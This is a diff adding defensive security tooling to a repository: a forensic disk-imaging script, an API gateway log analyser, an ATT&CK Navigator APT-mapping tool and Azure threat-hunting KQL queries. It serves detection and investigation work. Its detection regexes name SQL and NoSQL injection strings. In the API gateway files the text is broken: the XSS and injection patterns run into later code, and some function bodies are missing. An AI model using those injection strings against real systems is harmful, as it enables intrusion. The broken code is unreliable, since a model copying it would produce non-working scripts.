print(f"[{'OK' if match else 'FAIL'}] Verification: {status}") + return match, source_hash, image_hash + return False, source_hash, image_hash + + +def generate_report(case_dir, source_device, image_path, tool_used, + source_hash, image_hash, verified, elapsed_seconds=0): + """Generate a forensic acquisition report.""" + report = { + "report_type": "Disk Image Acquisition", + "timestamp": datetime.datetime.utcnow().isoformat() + "Z", + "case_directory": case_dir, + "source_device": source_device, + "image_file": image_path, + "acquisition_tool": tool_used, + "block_size": 4096, + "source_hash_sha256": source_hash, + "image_hash_sha256": image_hash, + "hash_verified": verified, + "duration_seconds": elapsed_seconds, + } + report_path = os.path.join(case_dir, "acquisition_report.json") + with open(report_path, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {report_path}") + return report + + +if __name__ == "__main__": + print("=" * 60) + print("Forensic Disk Image Acquisition Agent") + print("Tools: dd / dcfldd with SHA-256 verification") + print("=" * 60) + + # Demo: list block devices + print("\n[*] Enumerating block devices...") + devices = list_block_devices() + for dev in devices.get("blockdevices", []): + name = dev.get("name", "?") + size = dev.get("size", "?") + dtype = dev.get("type", "?") + model = dev.get("model", "N/A") + ro = "RO" if dev.get("ro") else "RW" + print(f" /dev/{name} {size} {dtype} {model} [{ro}]") + + # Demo workflow (dry run) + demo_source = "/dev/sdb" + demo_case = "/cases/demo-case/images" + demo_image = os.path.join(demo_case, "evidence.dd") + + print(f"\n[DEMO] Acquisition workflow for {demo_source}:") + print(f" 1. Enable write protection: blockdev --setro {demo_source}") + print(f" 2. Acquire with dcfldd: dcfldd if={demo_source} of={demo_image} " + f"hash=sha256 hashwindow=1G bs=4096 conv=noerror,sync") + print(f" 3. Verify: compare SHA-256 of {demo_source} and {demo_image}") + print(f" 4. Generate acquisition report with chain-of-custody metadata") + print("\n[*] Agent ready. Provide a source device and case directory to begin.") diff --git a/skills/analyzing-api-gateway-access-logs/LICENSE b/skills/analyzing-api-gateway-access-logs/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-api-gateway-access-logs/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-api-gateway-access-logs/SKILL.md b/skills/analyzing-api-gateway-access-logs/SKILL.md new file mode 100644 index 00000000..3ce93345 --- /dev/null +++ b/skills/analyzing-api-gateway-access-logs/SKILL.md @@ -0,0 +1,41 @@ +--- +name: analyzing-api-gateway-access-logs +description: > + Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect BOLA/IDOR + attacks, rate limit bypass, credential scanning, and injection attempts. Uses pandas + for statistical analysis of request patterns and anomaly detection. Use when + investigating API abuse or building API-specific threat detection rules. +--- + +# Analyzing API Gateway Access Logs + +## Instructions + +Parse API gateway access logs to identify attack patterns including broken object +level authorization (BOLA), excessive data exposure, and injection attempts. + +```python +import pandas as pd + +df = pd.read_json("api_gateway_logs.json", lines=True) +# Detect BOLA: same user accessing many different resource IDs +bola = df.groupby(["user_id", "endpoint"]).agg( + unique_ids=("resource_id", "nunique")).reset_index() +suspicious = bola[bola["unique_ids"] > 50] +``` + +Key detection patterns: +1. BOLA/IDOR: sequential resource ID enumeration +2. Rate limit bypass via header manipulation +3. Credential scanning (401 surges from single source) +4. SQL/NoSQL injection in query parameters +5. Unusual HTTP methods (DELETE, PATCH) on read-only endpoints + +## Examples + +```python +# Detect 401 surges indicating credential scanning +auth_failures = df[df["status_code"] == 401] +scanner_ips = auth_failures.groupby("source_ip").size() +scanners = scanner_ips[scanner_ips > 100] +``` diff --git a/skills/analyzing-api-gateway-access-logs/references/api-reference.md b/skills/analyzing-api-gateway-access-logs/references/api-reference.md new file mode 100644 index 00000000..54b62392 --- /dev/null +++ b/skills/analyzing-api-gateway-access-logs/references/api-reference.md @@ -0,0 +1,58 @@ +# API Reference: Analyzing API Gateway Access Logs + +## AWS API Gateway Log Fields + +```json +{ + "requestId": "abc-123", + "ip": "203.0.113.50", + "httpMethod": "GET", + "resourcePath": "/api/users/{id}", + "status": 200, + "requestTime": "2025-03-15T14:00:00Z", + "responseLength": 1024 +} +``` + +## Pandas Log Analysis + +```python +import pandas as pd + +df = pd.read_json("access_logs.json", lines=True) + +# BOLA detection +df.groupby("user_id")["resource_id"].nunique() + +# Auth failure surge +df[df["status_code"] == 401].groupby("source_ip").size() + +# Request velocity +df.set_index("timestamp").resample("1min").size() +``` + +## OWASP API Top 10 Patterns + +| Risk | Detection Pattern | +|------|-------------------| +| BOLA (API1) | User accessing > 50 unique resource IDs | +| Broken Auth (API2) | > 100 401/403 from single IP | +| Excessive Data (API3) | Response size > 10x average | +| Rate Limit (API4) | > 100 req/min from single IP | +| BFLA (API5) | DELETE/PUT on read-only endpoints | +| Injection (API8) | SQL/NoSQL patterns in params | + +## Injection Regex Patterns + +```python +sql = r"union\s+select|drop\s+table|'\s*or\s+'1'" +nosql = r"\$ne|\$gt|\$regex|\$where" +xss = r"= threshold] + for _, row in bola_suspects.iterrows(): + findings.append({ + "user": row[user_col], + "unique_resources_accessed": int(row["unique_resources"]), + "total_requests": int(row["total_requests"]), + "type": "BOLA/IDOR", + "severity": "CRITICAL", + }) + return findings + + +def detect_auth_scanning(df, threshold=100): + """Detect credential scanning via 401/403 response surges.""" + findings = [] + auth_failures = df[df["status_code"].isin([401, 403])] + if auth_failures.empty: + return findings + ip_col = "source_ip" if "source_ip" in df.columns else "client_ip" + ip_failures = auth_failures.groupby(ip_col).agg( + failure_count=("status_code", "count"), + unique_endpoints=("request_path", "nunique") if "request_path" in df.columns + else ("path", "nunique"), + ).reset_index() + scanners = ip_failures[ip_failures["failure_count"] >= threshold] + for _, row in scanners.iterrows(): + findings.append({ + "source_ip": row[ip_col], + "auth_failures": int(row["failure_count"]), + "endpoints_probed": int(row["unique_endpoints"]), + "type": "credential_scanning", + "severity": "HIGH", + }) + return findings + + +def detect_injection_attempts(df): + """Detect SQL/NoSQL injection attempts in request parameters.""" + injection_patterns = [ + r"(?:union\s+select|select\s+.*\s+from|drop\s+table|insert\s+into)", + r"(?:'\s*or\s+'1'\s*=\s*'1|'\s*or\s+1\s*=\s*1)", + r'(?:\$ne|\$gt|\$lt|\$regex|\$where)', + r'(?: threshold] + if len(bursts) > 0: + findings.append({ + "source_ip": ip, + "max_requests_per_min": int(resampled.max()), + "burst_periods": len(bursts), + "type": "rate_limit_bypass", + "severity": "MEDIUM", + }) + return sorted(findings, key=lambda x: x["max_requests_per_min"], reverse=True)[:50] + + +def detect_unusual_methods(df): + """Detect unusual HTTP methods on typically read-only endpoints.""" + findings = [] + dangerous_methods = {"DELETE", "PUT", "PATCH"} + method_col = "method" if "method" in df.columns else "http_method" + path_col = "request_path" if "request_path" in df.columns else "path" + unusual = df[df[method_col].str.upper().isin(dangerous_methods)] + for _, row in unusual.iterrows(): + findings.append({ + "source_ip": row.get("source_ip", row.get("client_ip", "")), + "method": row[method_col], + "path": row[path_col], + "status_code": int(row.get("status_code", 0)), + "type": "unusual_method", + "severity": "MEDIUM", + }) + return findings[:200] + + +def main(): + parser = argparse.ArgumentParser(description="API Gateway Log Analysis Agent") + parser.add_argument("--log-file", required=True, help="API gateway log file") + parser.add_argument("--output", default="api_gateway_report.json") + parser.add_argument("--action", choices=[ + "bola", "auth_scan", "injection", "rate_limit", "full_analysis" + ], default="full_analysis") + args = parser.parse_args() + + df = load_api_logs(args.log_file) + report = {"generated_at": datetime.utcnow().isoformat(), "total_requests": len(df), + "findings": {}} + print(f"[+] Loaded {len(df)} API requests") + + if args.action in ("bola", "full_analysis"): + findings = detect_bola_attacks(df) + report["findings"]["bola"] = findings + print(f"[+] BOLA suspects: {len(findings)}") + + if args.action in ("auth_scan", "full_analysis"): + findings = detect_auth_scanning(df) + report["findings"]["auth_scanning"] = findings + print(f"[+] Auth scanners: {len(findings)}") + + if args.action in ("injection", "full_analysis"): + findings = detect_injection_attempts(df) + report["findings"]["injection_attempts"] = findings + print(f"[+] Injection attempts: {len(findings)}") + + if args.action in ("rate_limit", "full_analysis"): + findings = detect_rate_limit_bypass(df) + report["findings"]["rate_limit_bypass"] = findings + print(f"[+] Rate limit bypasses: {len(findings)}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/analyzing-apt-group-with-mitre-navigator/LICENSE b/skills/analyzing-apt-group-with-mitre-navigator/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-apt-group-with-mitre-navigator/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-apt-group-with-mitre-navigator/references/api-reference.md b/skills/analyzing-apt-group-with-mitre-navigator/references/api-reference.md new file mode 100644 index 00000000..156b9572 --- /dev/null +++ b/skills/analyzing-apt-group-with-mitre-navigator/references/api-reference.md @@ -0,0 +1,97 @@ +# API Reference: MITRE ATT&CK Navigator APT Analysis + +## ATT&CK Navigator Layer Format + +### Layer JSON Structure +```json +{ + "name": "APT29 - TTPs", + "versions": {"attack": "14", "navigator": "4.9.1", "layer": "4.5"}, + "domain": "enterprise-attack", + "techniques": [ + { + "techniqueID": "T1566.001", + "tactic": "initial-access", + "color": "#ff6666", + "score": 100, + "comment": "Used by APT29", + "enabled": true + } + ], + "gradient": {"colors": ["#ffffff", "#ff6666"], "minValue": 0, "maxValue": 100} +} +``` + +## ATT&CK STIX Data Access + +### Download Enterprise ATT&CK Bundle +```bash +curl -o enterprise-attack.json \ + https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json +``` + +### STIX Object Types +| Type | Description | +|------|-------------| +| `intrusion-set` | APT groups / threat actors | +| `attack-pattern` | Techniques and sub-techniques | +| `relationship` | Links groups to techniques (`uses`) | +| `malware` | Malware families | +| `tool` | Legitimate tools used by adversaries | + +## mitreattack-python Library + +### Installation +```bash +pip install mitreattack-python +``` + +### Query Group Techniques +```python +from mitreattack.stix20 import MitreAttackData + +attack = MitreAttackData("enterprise-attack.json") +groups = attack.get_groups() +for g in groups: + techs = attack.get_techniques_used_by_group(g) + print(f"{g.name}: {len(techs)} techniques") +``` + +### Get Technique Details +```python +technique = attack.get_object_by_attack_id("T1566.001", "attack-pattern") +print(technique.name) # Spearphishing Attachment +print(technique.x_mitre_platforms) # ['Windows', 'macOS', 'Linux'] +``` + +## Navigator CLI (attack-navigator) + +### Export Layer to SVG +```bash +npx attack-navigator-export \ + --layer layer.json \ + --output output.svg \ + --theme dark +``` + +## ATT&CK API (TAXII) +```python +from stix2 import TAXIICollectionSource, Filter +from taxii2client.v20 import Collection + +collection = Collection( + "https://cti-taxii.mitre.org/stix/collections/95ecc380-afe9-11e4-9b6c-751b66dd541e/" +) +tc_source = TAXIICollectionSource(collection) +groups = tc_source.query([Filter("type", "=", "intrusion-set")]) +``` + +## Key APT Groups Reference +| ID | Name | Known Aliases | +|----|------|--------------| +| G0016 | APT29 | Cozy Bear, The Dukes, NOBELIUM | +| G0007 | APT28 | Fancy Bear, Sofacy, Strontium | +| G0022 | APT3 | Gothic Panda, UPS | +| G0032 | Lazarus Group | HIDDEN COBRA, Zinc | +| G0074 | Dragonfly 2.0 | Energetic Bear, Berserk Bear | +| G0010 | Turla | Waterbug, Venomous Bear | diff --git a/skills/analyzing-apt-group-with-mitre-navigator/scripts/agent.py b/skills/analyzing-apt-group-with-mitre-navigator/scripts/agent.py new file mode 100644 index 00000000..fe15f778 --- /dev/null +++ b/skills/analyzing-apt-group-with-mitre-navigator/scripts/agent.py @@ -0,0 +1,245 @@ +#!/usr/bin/env python3 +"""APT group analysis agent using MITRE ATT&CK Navigator layers. + +Queries ATT&CK data, maps APT techniques to Navigator layers, +performs detection gap analysis, and generates threat-informed reports. +""" + +import json +import os +import sys +import hashlib +from collections import Counter + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + +ATTACK_ENTERPRISE_URL = "https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json" + +NAVIGATOR_LAYER_TEMPLATE = { + "name": "", + "versions": {"attack": "14", "navigator": "4.9.1", "layer": "4.5"}, + "domain": "enterprise-attack", + "description": "", + "filters": {"platforms": ["Windows", "Linux", "macOS", "Cloud"]}, + "sorting": 0, + "layout": {"layout": "side", "aggregateFunction": "average", "showID": False, + "showName": True, "showAggregateScores": False, "countUnscored": False}, + "hideDisabled": False, + "techniques": [], + "gradient": {"colors": ["#ffffff", "#ff6666"], "minValue": 0, "maxValue": 100}, + "legendItems": [], + "metadata": [], + "links": [], + "showTacticRowBackground": False, + "tacticRowBackground": "#dddddd", + "selectTechniquesAcrossTactics": True, + "selectSubtechniquesWithParent": False, + "selectVisibleTechniques": False, +} + + +def load_attack_data(filepath=None): + """Load ATT&CK STIX bundle from file or download.""" + if filepath and os.path.exists(filepath): + with open(filepath, "r", encoding="utf-8") as f: + return json.load(f) + if HAS_REQUESTS: + print("[*] Downloading ATT&CK Enterprise data...") + resp = requests.get(ATTACK_ENTERPRISE_URL, timeout=60) + resp.raise_for_status() + return resp.json() + return None + + +def extract_groups(bundle): + """Extract intrusion-set (APT group) objects from STIX bundle.""" + groups = {} + for obj in bundle.get("objects", []): + if obj.get("type") == "intrusion-set": + name = obj.get("name", "Unknown") + aliases = obj.get("aliases", []) + ext_refs = obj.get("external_references", []) + attack_id = "" + for ref in ext_refs: + if ref.get("source_name") == "mitre-attack": + attack_id = ref.get("external_id", "") + break + groups[obj["id"]] = { + "name": name, "id": attack_id, "aliases": aliases, + "description": obj.get("description", "")[:200], + } + return groups + + +def extract_techniques(bundle): + """Extract attack-pattern (technique) objects from STIX bundle.""" + techniques = {} + for obj in bundle.get("objects", []): + if obj.get("type") == "attack-pattern" and not obj.get("revoked", False): + ext_refs = obj.get("external_references", []) + attack_id = "" + for ref in ext_refs: + if ref.get("source_name") == "mitre-attack": + attack_id = ref.get("external_id", "") + break + if attack_id: + tactics = [p["phase_name"] for p in obj.get("kill_chain_phases", [])] + techniques[obj["id"]] = { + "id": attack_id, "name": obj.get("name", ""), + "tactics": tactics, "platforms": obj.get("x_mitre_platforms", []), + } + return techniques + + +def map_group_techniques(bundle, group_stix_id, techniques): + """Map techniques used by a specific group via relationship objects.""" + group_techniques = [] + for obj in bundle.get("objects", []): + if (obj.get("type") == "relationship" and + obj.get("relationship_type") == "uses" and + obj.get("source_ref") == group_stix_id and + obj.get("target_ref", "").startswith("attack-pattern--")): + tech_id = obj["target_ref"] + if tech_id in techniques: + group_techniques.append(techniques[tech_id]) + return group_techniques + + +def build_navigator_layer(group_name, group_techniques, color="#ff6666", score=100): + """Build ATT&CK Navigator JSON layer for a group's techniques.""" + layer = json.loads(json.dumps(NAVIGATOR_LAYER_TEMPLATE)) + layer["name"] = f"{group_name} - TTPs" + layer["description"] = f"ATT&CK techniques attributed to {group_name}" + for tech in group_techniques: + entry = { + "techniqueID": tech["id"], + "tactic": tech["tactics"][0] if tech["tactics"] else "", + "color": color, + "comment": f"Used by {group_name}", + "enabled": True, + "metadata": [], + "links": [], + "showSubtechniques": False, + "score": score, + } + layer["techniques"].append(entry) + return layer + + +def detection_gap_analysis(group_techniques, detection_rules): + """Compare group TTPs against existing detection rules to find gaps.""" + covered = set() + for rule in detection_rules: + tech_id = rule.get("technique_id", "") + if tech_id: + covered.add(tech_id) + gaps = [] + for tech in group_techniques: + if tech["id"] not in covered: + gaps.append({ + "technique_id": tech["id"], + "technique_name": tech["name"], + "tactics": tech["tactics"], + "status": "NO DETECTION", + }) + coverage_pct = (len(covered & {t["id"] for t in group_techniques}) / + len(group_techniques) * 100) if group_techniques else 0 + return gaps, round(coverage_pct, 1) + + +def tactic_heatmap(group_techniques): + """Generate tactic-level heatmap showing technique distribution.""" + tactic_counts = Counter() + for tech in group_techniques: + for tactic in tech["tactics"]: + tactic_counts[tactic] += 1 + return dict(tactic_counts.most_common()) + + +def compare_groups(group_a_techs, group_b_techs): + """Compare two groups' technique sets for overlap analysis.""" + set_a = {t["id"] for t in group_a_techs} + set_b = {t["id"] for t in group_b_techs} + overlap = set_a & set_b + only_a = set_a - set_b + only_b = set_b - set_a + jaccard = len(overlap) / len(set_a | set_b) if (set_a | set_b) else 0 + return { + "overlap_count": len(overlap), "overlap_ids": sorted(overlap), + "only_group_a": len(only_a), "only_group_b": len(only_b), + "jaccard_similarity": round(jaccard, 4), + } + + +def save_layer(layer, output_path): + """Save Navigator layer to JSON file.""" + with open(output_path, "w", encoding="utf-8") as f: + json.dump(layer, f, indent=2) + print(f"[+] Layer saved: {output_path}") + + +if __name__ == "__main__": + print("=" * 60) + print("APT Group Analysis Agent - MITRE ATT&CK Navigator") + print("TTP mapping, detection gap analysis, group comparison") + print("=" * 60) + + group_name = sys.argv[1] if len(sys.argv) > 1 else None + attack_file = sys.argv[2] if len(sys.argv) > 2 else None + + bundle = load_attack_data(attack_file) + if not bundle: + print("\n[!] Cannot load ATT&CK data. Provide STIX bundle path or install requests.") + print("[DEMO] Usage:") + print(" python agent.py APT29 enterprise-attack.json") + print(" python agent.py APT28 # downloads from GitHub") + sys.exit(1) + + groups = extract_groups(bundle) + techniques = extract_techniques(bundle) + print(f"[*] Loaded {len(groups)} groups, {len(techniques)} techniques") + + if not group_name: + print("\n--- Available APT Groups (sample) ---") + for gid, g in list(groups.items())[:20]: + print(f" {g['id']:8s} {g['name']:30s} aliases={g['aliases'][:3]}") + sys.exit(0) + + target_group = None + for gid, g in groups.items(): + if (g["name"].lower() == group_name.lower() or + g["id"].lower() == group_name.lower() or + group_name.lower() in [a.lower() for a in g["aliases"]]): + target_group = (gid, g) + break + + if not target_group: + print(f"[!] Group '{group_name}' not found") + sys.exit(1) + + gid, ginfo = target_group + print(f"\n[*] Group: {ginfo['name']} ({ginfo['id']})") + print(f" Aliases: {', '.join(ginfo['aliases'][:5])}") + + group_techs = map_group_techniques(bundle, gid, techniques) + print(f" Techniques: {len(group_techs)}") + + heatmap = tactic_heatmap(group_techs) + print("\n--- Tactic Heatmap ---") + for tactic, count in heatmap.items(): + bar = "#" * count + print(f" {tactic:35s} {count:3d} {bar}") + + layer = build_navigator_layer(ginfo["name"], group_techs) + out_file = f"{ginfo['name'].replace(' ', '_')}_layer.json" + save_layer(layer, out_file) + + sample_rules = [{"technique_id": t["id"]} for t in group_techs[:len(group_techs)//2]] + gaps, coverage = detection_gap_analysis(group_techs, sample_rules) + print(f"\n--- Detection Gap Analysis (demo: {coverage}% coverage) ---") + for gap in gaps[:10]: + print(f" [GAP] {gap['technique_id']:12s} {gap['technique_name']}") diff --git a/skills/analyzing-azure-activity-logs-for-threats/LICENSE b/skills/analyzing-azure-activity-logs-for-threats/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-azure-activity-logs-for-threats/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-azure-activity-logs-for-threats/SKILL.md b/skills/analyzing-azure-activity-logs-for-threats/SKILL.md new file mode 100644 index 00000000..b31ad4b0 --- /dev/null +++ b/skills/analyzing-azure-activity-logs-for-threats/SKILL.md @@ -0,0 +1,48 @@ +--- +name: analyzing-azure-activity-logs-for-threats +description: > + Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query to + detect suspicious administrative operations, impossible travel, privilege escalation, + and resource modifications. Builds KQL queries for threat hunting in Azure environments. + Use when investigating suspicious Azure tenant activity or building cloud SIEM detections. +--- + +# Analyzing Azure Activity Logs for Threats + +## Instructions + +Use azure-monitor-query to execute KQL queries against Azure Log Analytics workspaces, +detecting suspicious admin operations and sign-in anomalies. + +```python +from azure.identity import DefaultAzureCredential +from azure.monitor.query import LogsQueryClient +from datetime import timedelta + +credential = DefaultAzureCredential() +client = LogsQueryClient(credential) + +response = client.query_workspace( + workspace_id="WORKSPACE_ID", + query="AzureActivity | where OperationNameValue has 'MICROSOFT.AUTHORIZATION/ROLEASSIGNMENTS/WRITE' | take 10", + timespan=timedelta(hours=24), +) +``` + +Key detection queries: +1. Role assignment changes (privilege escalation) +2. Resource group and subscription modifications +3. Key vault secret access from new IPs +4. Network security group rule changes +5. Conditional access policy modifications + +## Examples + +```python +# Detect new Global Admin role assignments +query = ''' +AuditLogs +| where OperationName == "Add member to role" +| where TargetResources[0].modifiedProperties[0].newValue has "Global Administrator" +''' +``` diff --git a/skills/analyzing-azure-activity-logs-for-threats/references/api-reference.md b/skills/analyzing-azure-activity-logs-for-threats/references/api-reference.md new file mode 100644 index 00000000..69df600d --- /dev/null +++ b/skills/analyzing-azure-activity-logs-for-threats/references/api-reference.md @@ -0,0 +1,54 @@ +# API Reference: Analyzing Azure Activity Logs for Threats + +## azure-monitor-query + +```python +from azure.identity import DefaultAzureCredential +from azure.monitor.query import LogsQueryClient, LogsQueryStatus +from datetime import timedelta + +credential = DefaultAzureCredential() +client = LogsQueryClient(credential) + +response = client.query_workspace( + workspace_id="WORKSPACE_ID", + query="AzureActivity | take 10", + timespan=timedelta(hours=24), +) +if response.status == LogsQueryStatus.SUCCESS: + for table in response.tables: + columns = [col.name for col in table.columns] + for row in table.rows: + print(dict(zip(columns, row))) +``` + +## Key Azure Log Tables + +| Table | Content | +|-------|---------| +| `AzureActivity` | Control plane operations (ARM) | +| `SigninLogs` | Azure AD sign-in events | +| `AuditLogs` | Azure AD audit trail | +| `AzureDiagnostics` | Resource diagnostics (Key Vault, NSG) | +| `SecurityAlert` | Defender for Cloud alerts | + +## Threat Detection KQL Patterns + +```kql +// Privilege escalation +AzureActivity | where OperationNameValue has "ROLEASSIGNMENTS/WRITE" + +// Impossible travel +SigninLogs | where ResultType == 0 +| extend Distance = geo_distance_2points(...) + +// Mass deletion +AzureActivity | where OperationNameValue endswith "/DELETE" +| summarize count() by Caller, bin(TimeGenerated, 1h) +``` + +### References + +- azure-monitor-query: https://pypi.org/project/azure-monitor-query/ +- KQL reference: https://learn.microsoft.com/en-us/azure/data-explorer/kusto/query/ +- Azure Activity Log schema: https://learn.microsoft.com/en-us/azure/azure-monitor/essentials/activity-log-schema diff --git a/skills/analyzing-azure-activity-logs-for-threats/scripts/agent.py b/skills/analyzing-azure-activity-logs-for-threats/scripts/agent.py new file mode 100644 index 00000000..6777f7b0 --- /dev/null +++ b/skills/analyzing-azure-activity-logs-for-threats/scripts/agent.py @@ -0,0 +1,178 @@ +#!/usr/bin/env python3 +"""Agent for analyzing Azure activity logs for threat detection.""" + +import os +import json +import argparse +from datetime import datetime, timedelta + +from azure.identity import DefaultAzureCredential, ClientSecretCredential +from azure.monitor.query import LogsQueryClient, LogsQueryStatus + + +def get_credential(tenant_id=None, client_id=None, client_secret=None): + """Get Azure credential.""" + if client_id and client_secret and tenant_id: + return ClientSecretCredential(tenant_id, client_id, client_secret) + return DefaultAzureCredential() + + +def run_kql(credential, workspace_id, query, hours=24): + """Execute KQL query against Log Analytics workspace.""" + client = LogsQueryClient(credential) + response = client.query_workspace( + workspace_id, query, timespan=timedelta(hours=hours) + ) + rows = [] + if response.status == LogsQueryStatus.SUCCESS: + for table in response.tables: + columns = [col.name for col in table.columns] + for row in table.rows: + rows.append(dict(zip(columns, row))) + return rows + + +def detect_privilege_escalation(credential, workspace_id): + """Detect role assignment changes indicating privilege escalation.""" + query = """ + AzureActivity + | where OperationNameValue has_any ( + "MICROSOFT.AUTHORIZATION/ROLEASSIGNMENTS/WRITE", + "MICROSOFT.AUTHORIZATION/ROLEDEFINITIONS/WRITE" + ) + | where ActivityStatusValue == "Success" + | project TimeGenerated, Caller, CallerIpAddress, + OperationNameValue, ResourceGroup, Properties_d + | order by TimeGenerated desc + """ + return run_kql(credential, workspace_id, query) + + +def detect_nsg_changes(credential, workspace_id): + """Detect Network Security Group rule modifications.""" + query = """ + AzureActivity + | where OperationNameValue has_any ( + "MICROSOFT.NETWORK/NETWORKSECURITYGROUPS/SECURITYRULES/WRITE", + "MICROSOFT.NETWORK/NETWORKSECURITYGROUPS/SECURITYRULES/DELETE" + ) + | where ActivityStatusValue == "Success" + | project TimeGenerated, Caller, CallerIpAddress, + OperationNameValue, ResourceGroup + | order by TimeGenerated desc + """ + return run_kql(credential, workspace_id, query) + + +def detect_keyvault_access(credential, workspace_id): + """Detect Key Vault secret access from unusual sources.""" + query = """ + AzureDiagnostics + | where ResourceProvider == "MICROSOFT.KEYVAULT" + | where OperationName in ("SecretGet", "SecretList", "SecretSet") + | summarize AccessCount = count(), DistinctIPs = dcount(CallerIPAddress), + IPList = make_set(CallerIPAddress, 10) + by identity_claim_upn_s, OperationName, Resource + | where DistinctIPs > 2 or AccessCount > 50 + | order by AccessCount desc + """ + return run_kql(credential, workspace_id, query) + + +def detect_impossible_travel(credential, workspace_id): + """Detect sign-ins from geographically distant locations in short time.""" + query = """ + SigninLogs + | where ResultType == 0 + | project TimeGenerated, UserPrincipalName, IPAddress, + Lat = toreal(LocationDetails.geoCoordinates.latitude), + Lon = toreal(LocationDetails.geoCoordinates.longitude) + | sort by UserPrincipalName asc, TimeGenerated asc + | extend PrevLat = prev(Lat), PrevLon = prev(Lon), + PrevTime = prev(TimeGenerated), PrevUser = prev(UserPrincipalName) + | where UserPrincipalName == PrevUser + | extend TimeDiffMin = datetime_diff('minute', TimeGenerated, PrevTime) + | where TimeDiffMin < 60 and TimeDiffMin > 0 + | extend DistKm = geo_distance_2points(Lon, Lat, PrevLon, PrevLat) / 1000 + | where DistKm > 500 + | project TimeGenerated, UserPrincipalName, IPAddress, DistKm, TimeDiffMin + """ + return run_kql(credential, workspace_id, query) + + +def detect_resource_deletion(credential, workspace_id): + """Detect mass resource deletion events.""" + query = """ + AzureActivity + | where OperationNameValue endswith "/DELETE" + | where ActivityStatusValue == "Success" + | summarize DeleteCount = count(), Resources = make_set(Resource, 20) + by Caller, bin(TimeGenerated, 1h) + | where DeleteCount > 10 + | order by DeleteCount desc + """ + return run_kql(credential, workspace_id, query) + + +def detect_conditional_access_changes(credential, workspace_id): + """Detect modifications to Conditional Access policies.""" + query = """ + AuditLogs + | where OperationName has_any ( + "Update conditional access policy", + "Delete conditional access policy" + ) + | project TimeGenerated, InitiatedBy, OperationName, + TargetResources, Result + | order by TimeGenerated desc + """ + return run_kql(credential, workspace_id, query) + + +def main(): + parser = argparse.ArgumentParser(description="Azure Activity Log Threat Detection Agent") + parser.add_argument("--workspace-id", default=os.getenv("AZURE_WORKSPACE_ID")) + parser.add_argument("--tenant-id", default=os.getenv("AZURE_TENANT_ID")) + parser.add_argument("--client-id", default=os.getenv("AZURE_CLIENT_ID")) + parser.add_argument("--client-secret", default=os.getenv("AZURE_CLIENT_SECRET")) + parser.add_argument("--output", default="azure_threat_report.json") + parser.add_argument("--action", choices=[ + "privesc", "nsg", "keyvault", "travel", "deletion", 